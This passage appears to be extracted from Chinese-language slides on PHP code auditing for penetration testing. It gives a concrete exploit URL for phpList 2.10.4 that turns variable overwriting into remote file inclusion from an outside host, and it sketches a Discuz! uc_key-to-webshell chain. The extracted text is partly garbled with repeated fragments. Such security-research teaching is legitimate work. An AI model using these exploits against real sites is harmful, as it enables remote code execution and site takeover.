ic_html\lists\admin\commonlib\pages\importcsv.php phplist-2.10.4\public_html\lists\admin\commonlib\pages\ ...... if (!isset($GLOBALS["assign_invalid_default"])) (!isset($GLOBALS["assign_invalid_default"])) $GLOBALS["assign_invalid_default"] = $GLOBALS['I18N']->get('Invalid $GLOBALS['I18N']Email').' [number]'; ...... register_shutdown_function("my_shutdown"); require_once $GLOBALS["coderoot"] . "structure.php";
单独看上面的代码是没有办法提交$GLOBALS变量的!但是我们结合//phplist$GLOBALS变量的!但是我们结合//phplist $GLOBALS //phplist2.10.4\public_html\lists\admin\index.php里的变量覆盖漏洞,我们就可以提交 2.10.4\public_html\lists\admin\index.php里的变量覆盖漏洞,我们就可以提交 $GLOBALS变量了,那么我们就可以控制$GLOBALS[“coderoot”] $GLOBALS变量了,那么我们就可以控制$GLOBALS[“coderoot”] 实现远程包含 Exp: /admin/index.php?_SERVER[ConfigFile]=./commonlib/pages/importcsv.php&;GL OBALS[assign_invalid_default]=1&;GLOBALS[coderoot]=xx.xx.xx.xx/ 实现了一次完美的又本地包含转为远程包含的二次漏洞利用过程 ? 二次漏洞利用过程
又一个实例: Discuz![old ver]远程代码执行漏洞
效果图:【实现“给我一个注射点,我给你一个shell”的目标】
注射得到uc_key中….
利用uc-key得到webshell[代码执行]
得到webshell的关键在于dz论坛的api借口里:api/uc.php里updateapps()对配 置文件config.inc.php有读写操作
继续跟下updateapps()的调用:
$get[]的处理:
整过只要得到了uc_key就可以通过调用updateapps()对config.inc.php写操作了! 另外updateapps()的2个参数都没有魔术引号的处理: $get = _stripslashes($get); $post =
xml_unserialize(file_get_contents(‘php://input’));[数据流不受魔术引号限制] 通过$configfile = preg_replace(“/define\(‘UC_API’,\s*‘.*?’\);/i”, “define(‘UC_API’, ‘$
UC_API’);”, $configfile); 闭合define(‘UC_API’, 来注射我们的webshell代码
二次漏洞的启示
漏洞的类型是可以转换的:最终的目的是攻击效果 最大化! 一切进入函数的变量是有害的:变量在传递过程 任意个环节可控就可能导致漏洞! 变量传递的途径是多样的:我们的攻击思路多元 化! 如对于dz,去寻找可以找到uc_key的途径:
sql注 射、文件读取[config.inc.php里存有uc_key]、控 制mysql的管理权限[phpmyadmin]等等
二次漏洞的其他应用
应用级别的“rootkit”
其他的因素与代码审计
php版本与代码审计[变量与函数]
php.ini默认设置
问题 php本身函数的漏洞[php缺少自动升级的机制]
系统特性与代码审计 系统特性与
包括OS: [主要是文件操作]
web服务器: [主要文件解析类型] 《
系统特性与 系统特性与web安全 》 安全 4ngel.net/article/63.htm
数据库类型与代码审计[数据库注射与利用]
渗透测试中的代码审计
代码审计的目的[目的决定行为]
甲方的代码审计:
目的:防御 要求:找到更多的漏洞,并且给出安全补丁建议等。并 且对应用程序平台无特别要求。
乙方的代码审计:
目的:渗透也就是进攻 要求:找到一个可用的漏洞就可以,但是要求快速、利 用效果最大化等。并且要求在渗透测试目标的平台上可以 利用。
渗透测试中的代码审计
代码审计前的准备 A.得到代码
a.对于开源的应用
程序:得到程序的版本信息,越详细越好。 *具体应用程序版本扫描 b.对于不开源的应用程序: *通过黑盒扫描得到备用文件 *通过黑盒扫描利用sql注射暴代码[loadfile()] *通过黑盒扫描利用容易文件下载漏洞 *上一次渗透测试打包下载的代码
B.得